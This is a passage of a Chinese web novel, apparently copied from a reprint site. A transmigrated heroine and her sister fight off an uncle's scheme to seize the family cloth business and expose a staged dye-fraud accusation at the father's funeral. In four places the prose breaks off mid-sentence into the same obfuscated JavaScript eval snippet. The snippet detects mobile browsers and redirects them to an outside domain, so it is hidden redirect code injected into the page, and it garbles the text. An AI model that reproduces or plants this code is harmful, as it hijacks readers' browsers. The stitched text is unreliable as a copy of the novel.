不到几日,便有数十家亲自登门或遣仆来询购此书。 舅舅这才意识到此书在闺中大火,决定追加印刷。 因这本书的畅销,不但拂去了杜含章心头的愁云,也将她与姜婋之间因柳如琢而产生的龃龉一扫而空。 通过此事,姜婋再次明白: 当一个女子的生活中有了目标与成就感时,她便不再日日想起某个偶然出现的男子;当闺中生活空虚之时,就会转移矛盾,用“自我塑造的幻影”去掩盖那些更深层、更真实的矛盾——人生的无常和孤单本身。 * 这日,姜婋带着一本新印好的《新·列女传》,亲自送到马香兰房中。 马香兰翻着书,脸上写满了骄傲:“杜家的祖坟也是冒青烟了,我家晓晓都能出书了,这不就是文曲星转世嘛!” 姜婋一边剥着枇杷,一边笑道:“我可不是文曲星,我是善财童女。这书能印出来,都是我姐姐杜含章的功劳,我不过是从旁辅助罢了。” 马香兰眉梢一挑:“这主意不也是你出的?那说明我的女儿脑瓜子机灵,还真是做生意的料。” 姜婋笑着,剥了颗枇杷往嘴里一丢。 马香兰忽而从手边拿起一封信:“对了,你爹来信了!” 姜婋手中动作一滞,枇杷核险些吞了下去:“咳咳——信中说什么?” “他说近日事毕,归期暂定十日内。” 马香兰掰手算着日子:“这信来得慢,他人可能已经上路了,最多五日就能回来了。” 姜婋擦擦手,接过信笺,匆匆扫过,神色蓦然凝重:“杜仲文临行前,有没有把什么重要的东西交给你保管?” “杜——” 马香兰差点也说秃噜嘴,啧了一声道:“晓晓,你怎么对你爹也敢直呼其名?” “我是善财童女啊,管他叫爹,说不定让他折寿呢。” 姜婋搪塞过去,又严肃道:“我问你重要的事呢?他临走有没有托付你什么东西?” 马香兰想了想:“有啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145954|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他去山东看棉花之前,把总账册、杜记私印、几张棉契和布契都留在我这儿了。怎么了?” 姜婋语气郑重:“你一定要收好了,千万不要交给任何人!” 马香兰笑了笑:“你还不放心我?” “不是不放心。” 姜婋望着她,缓缓道:“只是以后杜家,还得靠你了。” * 得知杜老爷即将归家,马香兰立刻精神大振,忙不迭地张罗准备起来。 她亲自置办菜单,选了几样杜老爷最爱吃的菜,命人备好食材。前院后堂也一并打扫干净,连杜老爷书房架子上的瓷瓶都擦得反光铮亮。 整个杜家上下喜气洋洋,唯独姜婋却心事重重。 清晨操练时,她因分神而踏错一步,险些绊倒在沙袋上;午后听经商之课也经常走神,被石管家提问,居然答不上来。 * 当夜,杜含章来到她闺房中询问:“婋婋,你这几日是不是哪里不舒服?我看你魂不守舍的。” 姜婋挠头:“被你看出来了。” 杜含章问道:“你是担心爹回来会怪你之前翻墙出门的事?你别怕,到时候我会把责任都揽在我的身上……” 姜婋心里一酸,姐姐对自己真是没话说。 其实这段时日,姜婋担心的不是自己,而是杜含章。 作为手握剧本的人,她知道杜老爷根本回不来了。但她不知道,该如何让杜含章和马香兰接受这无常的变故。 她低头片刻,握住杜含章的手:“姐姐,你对我真好。” 杜含章莞尔,也回握住她的手:“我们可是彼此选定的姐妹,是在我娘亲墓前立过誓言的,无论发生什么,我作为姐姐都要护着你。” 姜婋喃喃道:“恐怕我们以后,真要相依为命了……” 杜含章一愣:“你怎么突然这么说?” 话音未落,忽听院外传来一阵急促的敲门声。 夜已深,这声音听着格外突兀,几只栖在屋檐的乌鸦也被惊起,扑啦啦飞走了。 “这么晚了怎么有人敲门?”杜含章神色一动,“该不会是爹回来了吧?” 霎时间,杜宅亮起了火光。 杜含章顾不得多想,欣喜地往外跑去,姜婋急忙喊住她:“姐姐——” 她快步跟上,将一件厚衣披在杜含章肩上:“夜里风凉,穿好衣服。” 姜婋牵住她的手:“我和你一起出去。” * 二人来到前院,只见门口停着一辆白布蒙顶的马车。 杜老爷的随从脸色惨白地跪在地上:“夫人,老爷他……回来路上突发急症,未及医治,已先走一步了……” 马香兰听罢,踉跄后退,几乎晕厥。 杜含章睁大眼睛,不敢相信,父亲前日还寄来书信,如今却只归来一具棺椁? 顷刻间,全院女眷哭天喊地。 忽然,姜婋脑中传来系统的提示音:“玩家,即将开启原小说宅斗主线——「杜家继承权保卫战」。” 姜婋望着那漆黑的棺木,内心却无比冷静。 她知道,这一刻起,杜家将不再太平。 75.15 杜宅中堂内香烟缭绕,吊唁宾客往来不绝。 马香兰几日来,茶饭不思,眼窝深陷,已是憔悴不堪。杜含章身着素服执孝,打点回礼,时不时以手帕拭泪。 姜婋立于两人之后,正在蹙眉思考。 自她进到这个副本里来,就从来没有见过杜老爷,没有什么感情,所以此刻才能够冷静地分析局势。 原小说中,杜老爷去世后,大伯杜伯仁便联合马香兰夺走家产,将女主杜含章赶至乡下别院。就是在那时,杜含章遇到了高中归来的柳如琢…… 然而如今,随着姜婋的介入,故事的走向早已发生了变化。 马香兰不再视杜含章为眼中钉,再加上因姜婋杜撰的女主“龙女转世”的身份,马香兰也不敢再对杜含章轻易发难。 眼下唯一的难关就是对抗大伯一家,守住杜家家产,让女主得到继承权…… * 就在姜婋思索之时,门外脚步声响,一行人鱼贯而入。 为首的正是杜伯仁,身后紧随其后的是夫人秦瑛和他的老来得子杜耀祖。 姜婋微微眯眼,心中警觉。 吊丧仪式结束后,大伯便朝马香兰道:“二弟故去,实乃家门之殇,我自是痛心疾首。今日我们前来,不单是来吊唁,倒还有一件大事,需与弟妹商量。” 马香兰悲痛欲绝,强打精神问:“伯兄,所为何事?” 杜伯仁道:“二弟既已去世,我身为长兄,自然要为你们孤儿寡母多作打算。如今杜家产业无人继承,依礼应由我这长房之主代为管理,避免日后生出纷争。倒不如趁此机会,重新分家,另立账册。” 马香兰强忍悲痛开口:“伯兄,如今老爷尚未安葬,你便急着提分家之事,未免操之过急了吧?” 杜伯仁叹了口气:“要不怎么说妇人无知呢。不是我急,是杜家的生意急。如今杜家群龙无首,各家掌柜都来问我,需得早做安排,才能令大家心安啊。” 秦瑛帮腔道:“弟妹,伯仁也是为你们家着想,含章与晓晓皆是女子,并无继承权。等她们在出嫁之时,这些家产岂不落了外姓之手?” 马香兰咬牙未语,姜婋心中早有准备,挺身而出道: “大伯所言倒不无道理,依《大明律》——‘凡产业之属,皆子孙男丁承之,女不得议。’” 杜伯仁得意一笑:“还是晓晓这丫头明事理。” “可是——” 姜婋话锋一转:“大伯莫不是忘了,杜记棉庄虽姓杜,但最初可是建立在我姐姐的娘亲于夫人的产业之上的。如今,杜家棉庄有织、染、漂、晒、绣、裁六坊,织坊是杜老爷创建的,但染、漂、晒三坊,皆是于夫人娘家基业,绣、裁两坊则是马香兰一手创办。” 她顿了顿,目光扫过在场所有人:“所以说,杜记棉庄从来不仅仅是杜老爷的产业,而是两位夫人共同拥有的资产。即便杜老爷不在了,大伯,你也只能抢走你弟弟的织坊而已。” 秦瑛登时跳脚:“你这个不懂事的黄毛丫头!于夫人早已不在,这产业自然归了我们杜家所有。” “那可未必!” 姜婋微微一笑:“于夫人临终前已立下遗嘱,命染、漂、晒三坊永远留给我姐姐,杜老爷生前亦留下了字据,不管是做嫁妆也好,给我姐姐经营也好,总之,谁也别想拿走!” 大伯一家互相对视,都没料到还有这事。 杜含章也是蹙着眉,心中暗忖,此等大事自己怎么不知? 姜婋反问道:“我请问大伯,就算你想夺走杜家产业,你有能力经营吗?平日里杜家产业你从不沾手,拿着分红安稳过日。那棉花的品质如何分辨?染布如何七染九晾?绣纹如何设计?裁衣如何打样?这些你都了解吗?如果不懂的话,我劝你还是别插手。否则,杜家的家业要被你败光了!” 杜伯仁猛地一拍桌子,怒声道:“你这丫头牙尖嘴利,目无尊长,日后谁敢娶你?” 马香兰护犊子反驳道:“我女儿不嫁人,轮不到你来评判!” 姜婋心中暗笑,没想到自己不嫁人这事儿竟然成为马香兰回击的底气。 她上前一步道:“大伯,若你们真想分家,那也不是来抢,而是要‘算’。若真细算,恐怕你们还要赔我们一些钱!” 秦瑛急了:“你胡说八道!我们家怎么还要赔钱?” “杜老爷临走之前,已将账册留下。我这几日细细查账清算,发现每年你们家不仅拿走分红,且屡次赊账。” 姜婋掰着手指道:“就说上个月你们家翻新宅子,还支走不少钱呢。再往前算,你家耀祖满月酒的账也未还清。这些钱,总该先结一下吧?” 这番话掷地有声,大伯一家脸色骤变。 秦瑛悄悄地在杜伯仁胳膊上捅了几下:“怎么回事?我不是把嫁妆卖了让你还上吗?怎么还没还呢?” “我……这……” 杜伯仁面子上挂不住,转身拂袖离去。 姜婋看着他的背影,喊道:“既然大伯今日并非诚心吊唁,那就好走不送!” * 大伯一家离开后,马香兰捶着大腿,气得声音发颤—— “我当初真是眼瞎,竟然把这群狼心狗肺的当亲人看!他们家真是吃人不吐骨头的白眼狼!你爹在世时,对大哥家掏心掏肺,如今人一咽气,他们家就翻脸不认人,上门分肉。真当我们杜家是死了主心骨的软柿子吗?我马香兰要是让这些黑心贼货得逞,便是白活了这一世!” 姜婋安慰道:“好了,别生气了,为了这群披着人皮的耗子精气坏了身子可不值当。” 杜含章心有余悸:“我看大伯家来者不善,恐怕日后肯定还会再向我们发难……只是妹妹方才说,我生母去世前留下了遗嘱字据,我怎么不知道?” 姜婋瘪瘪嘴:“我编的,先唬住他们再说!” 马香兰急道:“你这丫头胆子真大!万一他们要亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157140|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼看看,怎么办?” “他们家理亏,若要看,我自然有法子搪塞过去。总之,咱们得先伪造一份遗嘱,以备不时之需。” 马香兰犹豫,眼神有些不安地瞟向姜婋:“可是,染、漂、晒三坊可是杜家一半的产业啊……” 姜婋明白马香兰的意思:“难道你是希望这产业直接拱手给大伯家?这本来就是于夫人娘家辛苦积攒下来的基业,给我姐姐,才是名正言顺!” 杜含章忙道:“娘亲放心,我心知这是为了度过眼前的难关,不作数的。” 姜婋却道:“这本来就是你的,怎么不作数?以后杜家的家业就靠我们三个人了,我们需得团结一心,一致对外!” 马香兰叹了口气:“事已至此,也只能这么办了。” * 停灵五日后,因天气渐热,马香兰便请人卜卦择日,选了吉时下葬。 这几日,大伯一家忽然偃旗息鼓,不再上门滋事。 但姜婋心中隐隐不安,这恐怕是暴风雨来临前的死寂。 出殡当日,马香兰身着素缟,扶着灵位步履踉跄。杜含章身为长女,手捧铜盆,随棺而行。姜婋执灯护灵,走在杜含章身后。 出殡的队伍鸣锣开道,沿途还有不少百姓来送别。 因为杜记棉庄一向诚信经营,以民为本,十年都不涨布价,只为能让百姓有衣可穿,所以深得人心,甚至连华亭知县都亲自前来送灵。 送葬的队伍缓缓前进,就在队伍行至杜记棉庄总店时,忽听一声惊呼—— “青天大老爷做主啊!我被杜记棉庄害得快要蹲大狱啦!” 众人一惊,循声望去。 只见一名衣衫褴褛的男子,直挺挺地跪倒在灵柩之前,拦住去路。 那人从怀中猛然掏出一件蓝黄相间的长衫,声泪俱下: “请知县做主啊,几日前,小的在杜记棉庄买了十尺蓝布,谁知一入水便褪成黄色!这黄色乃天子专用,庶民穿是要掉脑袋的。小人天不亮就穿着出门,不知衣服掉色,差点被巡街衙役捉进大牢!” 他指着杜家棺木大喊:“你们杜记棉庄,口口声声为民,实则暗地坑人,卖这种会变色的布给我们,是要让我们平头百姓吃官司、赔性命不成?!” 这话一出,围观百姓哗然: “杜家的布竟会洗成黄色?” “律条有明,百姓服黄,乃僭越大罪!若是查实,商铺恐要封门抄家……” * 议论声中,知县眉头紧蹙,马香兰气的扶着棺椁喘着粗气。 这时,姜婋脑中响起系统提醒:“玩家,你已被迫开启新主线——「出殡惊变,染布陷阱」,还请玩家谨慎应对,切勿轻敌。” 姜婋恍然,这突如其来的一出,肯定是大伯干的。 她余光一扫,只见大伯立于人群之后,嘴角隐有冷笑,原来他憋了这几日,就想出了这么一记昏招——浑水摸鱼,借刀杀人! 76.16 姜婋迅速在脑中与系统交流。 “杜伯仁前几日夺家产未果,今日就雇了群演泼脏水,想趁着出殡制造混乱。他打的如意算盘,无非是想趁乱造势,吓得我们这些妇孺不敢应对,求他这个男人出面解决,届时乖乖交出家产。 “等风头一过,他再死咬不放,哪怕真相大白,也于事无补。只是他这脑袋,怕是被坏水腌入了味,竟想出这等伤敌一千自损八百的昏招!” 系统:“玩家,你可有解法?” 姜婋眼珠一转:“既然是诬陷,那就见招拆招。上个副本里,我连上阵杀敌都不怕,岂会怕他这蠢笨如驴的老登?” * 此时,马香兰已率先反击,破口大骂道: “你个含血喷人的泼皮赖骨!拿着哪门子的脏布乱扯虎皮,说我们卖违禁色?律法里写得明明白白,商贩若敢卖禁色布给民户,是要抄家的重罪。杜家宁可少赚一文,也不敢售卖禁布!你敢在老爷棺前撒野,青天白日里编排亡人,谁给你的胆子?!” 她一冲动,差点将手中灵牌扔出去,幸而杜含章眼疾手快拦下。 那男人卖惨哭诉:“这事只怕是你们杜家居心叵测,开黑店害人性命!今日华亭知县在此,小人恳请青天大老爷替我这个平头百姓主持公道。” 马香兰几日未曾合眼,一时急火攻心,险些晕厥过去。 姜婋眼疾手快扶住:“姐姐,照顾好她,这里交给我。” 杜含章点点头,将马香兰扶至一旁歇息。 * 姜婋上前一步,环顾众人道:“今日多谢诸位乡亲,前来送杜老爷最后一程。此事事关重大,不仅关乎杜老爷一生的清白,也关乎我们杜记棉庄的声誉。所以我便在此做主,暂停出殡,还请知县主持公道,在场各位做个见证。” 老知县捋须点头:“好,本官自会秉公断理。” 姜婋朗声道:“我杜记棉庄自立字号以来,买卖分明,账目清清楚楚,凡卖出之布,皆有布票为据。” 她转身问朝男人:“你说你的布是在杜记棉庄买的,可有凭证?” “当然有!” 那男人立刻从怀中掏出一张纸,“这便是收据。” 姜婋接过,一眼扫过红章铺印,点头:“这确实是我杜记棉庄的布票。” 那人立刻腰杆一挺,仿佛胜券在握:“你们还敢说不是黑心商户?” 姜婋不急不恼:“我只是说你票据是真的,可没说你手上的布就是真货。不如你把这布借我看上一看。” “给你!”那人将衣服甩出。 姜婋细细端详,环顾四周道:“我们杜记棉庄能成为华亭的老字号,与我们的染布技术是分不开的。我们家的布料,一向采用‘七染九晒’的独门工艺,主打青、蓝、灰、黛四色,从不易褪色……” 那男人皱眉,这姑娘怎么不争辩,反而趁机打起了广告。 他立刻插话:“你说得再天花乱坠,我这布一洗就成了黄色,你怎么解释?” 姜婋反问:“你说只洗了一次就变了色?” “正是!”男人理直气壮。 姜婋转向人群:“在场各位,谁若穿着我杜记的布料,可否借我一试?” 这时,一位老妇人取下头巾:“我这块头巾是五年前在杜记棉庄买的,天天戴着,洗了无数次,也从没掉过色。” “多谢大娘信任。” 姜婋接过:“正巧有出殡的铜盆清水,不如就用这盆水来一试吧。” 杜含章闻声,端来铜盆。 姜婋当众将头巾浸入水中,使劲揉搓,众人瞪大眼看着,却见水清如初,布色如故。 她抬起头巾展示一圈:“请各位看清楚,这块头巾揉搓良久,仍不褪色。而且大娘刚才也说了,她是五年前买的。头巾可不比衣裳,因为头上最容易出汗,又会沾了一些胭脂水粉,如此都不掉色,足以证明我们杜记的布料质量极好。” 人群中立刻有人响应: “是啊,我这件衣裳也是杜记的,日日穿着干农活都没掉过色。” “我家孙儿穿的就是杜记做的小褂,尿湿了晒干也不褪啊……” 众人你一言我一语,风向渐渐逆转。 * 那男人见状呛声辩道:“一条头巾能说明什么?说不定你们杜记棉庄近年以次充好,前几年的布不掉色,最近的布就掉色了呢?” 姜婋道:“你说得也有几分道理。那敢问,你这块布是花了多少钱买的?” 男人眼珠一转:“我票据上不是写了?” “是啊,既然写了,你再说一遍。” 男人迟疑片刻,看向人群。 杜伯仁悄悄比了个手势,男人这才憋出一句:“六、六文钱一尺。” 姜婋点点头,又开启打广告模式。 “各位乡亲都知道,我们杜记棉庄的布,十年来都没涨过价。白粗布两文一尺,蓝印布六文一尺,花布八文一尺。可是——” 她语调陡转:“你这块布,不是普通的蓝印布,是袖口上有棋盘纹的蓝花布,应该是八文一尺才对。” 男人脸色一僵:“我……我记错了。” “记错了?” 姜婋眉梢一挑:“可票据上也写的是六文,难道我们掌柜的也跟着你记错了?还是说,这布根本不是你用这收据买来的,而是从别处搞来的残货,想借机栽赃?” 话音一落,周围百姓议论起来。 男人结结巴巴:“你、你胡说八道!我就是在你们店里买的,你们的布料掉色,你们就是不敢承认!” 姜婋笑了:“其实这块布,我一上手便知它不是我们杜记棉庄的布。我们杜记的棉花都是鲁棉,经久耐磨,易染色。为此,杜老爷每年都要亲赴济南挑选棉花,从不假手旁人。此次他就是在回程路上突发急病,骤然离世的……” 众人闻之,皆唏嘘不已。 姜婋拿起那块布道:“可你这布,手感粗糙,根本不是鲁棉,色泽暗淡,也绝非出自我们杜记棉庄。提到染布之道,我姐姐最为熟稔,不如由她为大家说说,我们杜记的布,为何不褪色——” 杜含章一怔,她可从未在这么多人面前开口陈辞过,这般抛头露面,实在有违闺训礼法…… 可当她闪避视线时,却对上姜婋鼓励的眼神。 那一瞬,她想起编撰《新·列女传》时,有一章列举的就是辩才女子。 既然古有钟离春,冒死觐见,救齐国于危难;而今的她,何尝不是肩负着杜家的前程与清誉? 她褪下羞怯,不再被礼教束缚,昂首向前,语声朗朗: “各位乡亲,杜记的布料之所以不褪色,靠的是我生母于氏的家传之法——‘七染九晒’。” 人群中传来惊讶低语:“竟要染上七回、晒九次,这么多?” 杜含章点头道:“不错。之所以要染这么多次,因我们所用染料皆为草本植物,不伤体肤,所以需多次覆染。若染蓝布,便需取蓝草、木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161540|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝、菘蓝三物,再辅以姜黄与茶汁调和,使蓝色看起来更加的通透。” 她举起那块黄蓝布料道:“可此布洗后却泛出黄色,原因就是——染布之时,姜黄、茶汁比例失衡,压住了蓝草本色,使染色不牢色。如此粗制滥造之物,绝非我杜家染工之手。” 姜婋点头,扫视众人:“方才经我姐姐一番讲解,各位乡亲可都明白了?” 那男人却仍不死心,狡辩道:“你们杜记棉庄铺面那么多,谁知道是不是哪位染工手滑,放错了比例?说不定是你们为了节省本钱,换了劣质染料也未可知!” 姜婋冷笑:“我已从棉花来源、染色工序反驳你了,你却还要强词夺理?既如此,那便再揭你一处破绽。你这衣裳袖口上的棋盘纹,根本就不是我们杜记的样式!” 男人反唇相讥:“你说不是就不是?” 姜婋挑眉道:“设计我杜记棋盘纹样的人今日就在此。不如,让她亲口来告诉你!” 马香兰这时已缓过劲儿来,快步上前,将那块布放在手中一瞧。 “这棋盘纹粗鄙不堪,怎好意思冒充杜记出品?我杜记的棋盘纹,乃我亲自打样,每格宽一分,长两分整,整布排版九行九列,纵横有数,对格有规。” 她将布一扬,厉声道:“而你袖上这纹路,一格粗过二分,列数不齐,行宽参差,还敢说是杜记是出品,简直诬蔑!” 那人面色骤变,正欲转身逃跑—— 姜婋眼疾手快,反手一擒,锁住他的手腕:“给我说清楚!你到底受何人指使,在出殡之日来给我们家泼脏水?” “我……我无人指使……”那人磕巴着,疼得满头大汗。 姜婋抬起他的手细看:“你这手心起皮、指缝染青,分明是染坊里泡出来的手。说!你是哪家布行的?为何冒名污我杜记清誉?” 那人死咬牙关不肯开口。 姜婋冷笑:“好,那我便代你说一说。知县,这人私染黄衣,僭越圣上。依律法,轻则充军,重则杀头!” “别、别杀我……” 那人吓得双腿发软,看向人群中求救:“杜老爷,你倒是帮小人说句话啊!” 杜伯仁脸色大变,连连后退:“胡说八道!我不认得此人!” 那人惊叫:“你怎能翻脸不认人?当初可是你说的,只要我把这事闹成了,助你夺走杜家家产,你就立我为大掌柜。” 众人一片哗然,目光纷纷看向杜伯仁。 “原来是杜家出了内鬼!” 姜婋了然一笑:“你前几□□我们分家不成,今日便使出这下作手段。杜伯仁,你伪造布料、污蔑杜家,犯的是诬告之罪;你雇人私染黄衣,此乃僭越之罪;亲弟尸骨未寒,你就逼我们分家产,有违礼法道义。此三重罪,条条不轻。今日,我们杜家就要大义灭亲,请知县将这二人依法处置,还杜记清白!” 知县面色肃然:“来人!将这二人一并拿下,带回县衙详审!” 杜伯仁吓得跌坐在地,连声哀嚎:“我冤枉啊!弟妹,我们是一家人,你快替我说句话啊!” 姜婋反问:“你设局要害我们时,可曾想过我们是一家人?亏你还叫杜伯仁,我看你根本就不是人!” * 在杜伯仁的叫喊声,和他家人的哭嚎声中,哀乐再度响起。 出殡的队伍重新启程,白幡飘摇,纸钱飞扬。 姜婋一只手拉着杜含章,另一只手搀扶着马香兰,她们彼此搀扶,走向未知的前路。 77.17 杜老爷顺利下葬,等送灵队伍归来时,天色已近黄昏。 甫一推开杜宅大门,却见院中灯火通明,聚满了棉庄各坊管事,各店掌柜。 姜婋心知,出殡路上杜伯仁派人搅局,只是第一步的威胁,往后如何维持杜记棉庄的生意,才是最要紧的事情。 这时,领头的掌柜上前一步道:“夫人,两位小姐,我们今日来此,是因店里众人心中惶惶……如今杜老爷不在了,不知棉庄往后由谁主事?倘若生意上出了差池,我们又该听谁调遣?” 马香兰脸色苍白,连日操劳,此刻已是身心俱疲。 杜含章一直沉浸在父亲离世的痛苦里,并未想到这些,也是一时无言。 姜婋站出来道:“各位,你们担心的其实并不是杜家的话事人是谁,而是杜家如今只剩我们三个女子,以后杜记棉庄怎么办是吧?” 掌柜们面面相觑,无人接话,神色却是默认。 姜婋沉声道:“希望大家明白,杜记棉庄能有今天,也非一人之力。而是靠于夫人娘家的根基,杜老爷的经营,马香兰的绣工,以及各位掌柜、染娘、织工、伙计们的努力。虽杜老爷不在了,但还有我们,还有各位。今日大伯设局污蔑,我们娘仨也都扛过来了,未来之事,我们也会挑起大梁。” 那领头掌柜赶忙应道: “二小姐所言极是。杜伯仁心术不正,先前还暗中游说我们逼夫人分家产。可我们都是追随杜老爷多年的人,自然念的是旧主之情,盼的也是为杜家明理之人办事。” 姜婋点头:“请诸位放心,杜老爷在世之时,便培养我跟我姐姐学习经商之道。我知道各位担心什么,做生意最怕的,就是外行人领导内行人。我与姐姐虽有理论,但却少了实践。所以—— “从明日起,我们姐妹轮值各坊,从织、染、漂、晒、绣、裁,再到天、地、人各店前后堂,每个环都要亲手走一遍。一个月之内,我们会拿出一份全新的经营章程,再与诸位细议。请各位相信,杜老爷能做到的,我们也会做到,杜老爷做不到的,我们更会做到!” 她话锋一转:“若有人信不过我们这些妇道人家,也可趁早告知,我们绝不强留。” 各位管事掌柜互相对视,其实经过出殡路上的事情,他们早已看出来,这两位小姐可不是一般人。 平日教授经商之道的石管家率先表态道:“老奴每日教授两位小姐识货断步、算账理数,这两位小姐天资聪慧,颇有杜老爷当年的风采。老奴愿倾尽所学,为两位小姐效力。” 石管家的话颇有分量,那带头的掌柜也随即拱手长揖:“既然两位小姐继承了杜老爷衣钵,掌管棉庄,我们自当尽心竭力,鼎力相助。我愿追随两位小姐!” 众掌柜齐声附和:“我们愿追随两位小姐,共守杜记棉庄。” 马香兰强撑着,揉了揉眉心道:“这几日多赖各位奔忙丧事,如今老爷安息,棉庄还要靠你们诸位多担待些……今日不早了,各位回去歇息吧。” 众人纷纷躬身告退,院中灯火渐次熄去。 * 到了夜里,杜含章独坐榻前,心绪翻涌难平。 父亲骤然离世的悲痛尚未消散,而今日棺前众目睽睽之下,挑起大梁的,却不是她这个长女,而是自己的妹妹…… 但这种感情,并不是忮忌,而是一种对自己的内疚。 这时,门外传来一声叩响。 姜婋推门而入,手中捧着个盒子:“姐姐,这是杜记棉庄的掌印,共有两枚,一枚交由马香兰保管,一枚放在你这儿。今后有大事,需你们二人共议方能定夺。” 杜含章怔住,迟迟未伸手接过:“放我这儿吗?” 姜婋愣了愣,随即察觉她神色有异,轻声问道:“怎么了,姐姐?” 杜含章垂眸:“我只是……担心我扛不起这般重任。” 就在此时,系统提示:“玩家,检测到女主情绪波动,自信心陷入低谷。” 姜婋在脑中询问:“为什么会这样?” “——因为你。” “我?” 系统:“玩家,你大包大揽,为女主做了太多,看似是帮助她度过危机,但反而剥夺了她成长的机会,令她逐渐失去信心,认为自己没有尽到长姐之责。” 姜婋心头一凛,恍然明白。 她原以为自己是在替女主挡风遮雨,却不知这无形之中,也遮住了她头顶的光…… 姜婋当即将掌印放下,转身握住杜含章的手:“姐姐,这些日子太多事情压在一起,我们一直也没好好说话。不如我陪你出去走走,散散心。” 杜含章问道:“这么晚了,去哪儿?” 姜婋眼里带着久违的狡黠:“想去哪,便去哪。” * 下一刻,两人身影已如燕掠出,翻墙越瓦,在夜色下如风穿行。 起初,杜含章被姜婋一把拽起,只觉夜风扑面,心跳如擂。途中几次险些跌落,但又被稳稳扶住。 这种危险感,对于从小到大困在规训和长女身份的杜含章来说,有些着迷,仿佛所有的枷锁都被甩在身后。 这一刻,她忽然感到前所未有的轻盈。 最终,两人跃上杜宅主屋的屋脊,肩并肩坐在瓦片上,一起看月亮数星星。 姜婋歪着头道:“可惜今日太晚了,不然再带你出去喝木樨茶。” 杜含章莞尔:“今日见你在人前镇定自若,以为已经是个大人了,怎么这会儿,又像小孩子一样耍赖了?” 姜婋靠在她肩上撒娇:“那不过是装的,好唬人罢了。有姐姐在呢,我永远都长不大!” 杜含章轻叹:“那你也做的比我好,本来今日这些事,都该由我这个长姐来扛……” 姜婋打断她:“咱们姐妹俩何必分得这么清楚?今日护住杜家的不只是我,也有你,还有马香兰。是我们三个合力,一起识破了大伯的诡计!” 她顿了顿,又认真道:“而我之所以敢站在人前,是因为我知道,身后有你,还有马香兰。哪怕我说错一句,做错一步,也有人替我兜底。从今往后,我们三个是一个整体。无论谁站出来,背后的两个人都是她的依靠。” 杜含章望着她,眼中一热:“我明白了。以后我也要多多承担,不能总让你一个人撑着。只是我从没做过生意,不知能不能做得好……” “谁说你没做过生意?我们之前编撰《新·列女传》不是也卖得不错吗?” “那只是兴趣所至,往后可是肩负家业了。” 姜婋知道,这正是发掘女主人生之路的好契机,说不定杜含章的人生之路就是经商呢! 她鼓励道:“姐姐,我们平时上课之时,也是你学的比我好呀,若没有你帮我,根本对不齐那各家各坊的账目,那么难学的算法你都了如指掌,说你是龙女转世你还不信?你不和龙女一样智慧慈悲吗?” “再说了,连杜伯仁那种分不清布料的糊涂蛋都敢争掌柜,你这么聪明,怕什么?就算搞砸了,也还有我们彼此兜底呢。” 杜含章抬手轻轻点了下她额头:“你呀,满嘴胡诌,却还挺会劝人。” 姜婋笑道:“姐姐,说不定你才是能把杜记棉庄做大做强的那个人呢!” “越说越没谱了。” 杜含章重获信心,站起身道:“夜深了,我们回去吧。” 姜婋率先跃下,向她张开双臂道:“姐姐,别怕,我永远接着你。” 杜含章提起裙摆,毫不犹豫地跳了下去,稳稳落入她怀中。 * 从此以后,姜婋和杜含章每日清晨一同练习防身之术,白日则分赴六坊三店轮岗,学习各项工艺与店务。 这日,杜含章前往天字号总店学习账务。 刚进门,便看见一抹熟悉的青色身影立于柜前。那人正与掌柜低声交谈,语气中似带着几分争执。 她心头一紧,既想上前,又莫名生出几分羞怯。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168482|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 正踌躇间,掌柜的声音传来:“大小姐,这位公子要退布。可这匹布是一月前购下的,按咱们棉庄规矩,七日内可退,一月已久,实在不好再退。” 杜含章本情怯想躲开,但此刻也只能上前一步。 柳如琢转身,见是杜含章,神色一敛:“杜小姐。” 他声音依旧温润如水,语气中却带着一丝局促。 杜含章虽心跳如擂,但面上仍盈盈还礼道:“柳公子,是布料出了问题吗?” 柳如琢犹豫片刻:“可否借一步说话?” * 二人移步至内堂,杜含章亲自倒了一盏茶,递给他:“柳公子有何难处,尽可直言。” 